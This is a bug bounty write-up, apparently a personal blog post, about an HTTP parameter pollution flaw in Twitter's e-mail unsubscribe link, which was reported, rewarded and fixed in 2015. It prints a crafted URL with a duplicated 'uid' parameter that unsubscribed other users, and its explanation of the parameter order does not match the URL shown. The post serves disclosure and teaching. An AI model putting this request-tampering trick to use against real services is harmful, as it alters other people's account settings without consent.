parameter pollution bug at twitter | by mert tasci

twitter sent an e-mail to you when someone followed you when someone favorited your tweets etc.
you can unsubscribe the twitter notifications by clicking the “unsubscribe” button in the footer of the mail. then it will redirect you to the following link:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb6691db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-067876dfe799&uid=1134885524&nid=22+26

the “uid” parameter contains your twitter account’s id value. i changed this parameter with another user’s id value but my idor test was not successful. (of course, it will not be. lol)

i created a link as follows after a while:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb6691db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-067876dfe799&uid=2321301342&uid=1134885524&nid=22+26

i added another “uid” parameter again to the link. first “uid” parameter is my twitter user id value and the second “uid” parameter is the victim user’s id value. (anyone can access to id value of any user from his profile page.)

that’s it!
i can unsubscribe any user’s e-mail notification. also, you can access my poc video.

bug timeline
reported. — on 2015–08–23
twitter sent a first response. — on 2015–08–25
twitter marked it as “triaged”. — on 2015–08–26
twitter confirmed it and rewarded me. — on 2015–08–29
twitter resolved it. — on 2015–08–30

web hacking 101
also, you can read this bug and more in peter yaworski’s great book! web hacking 101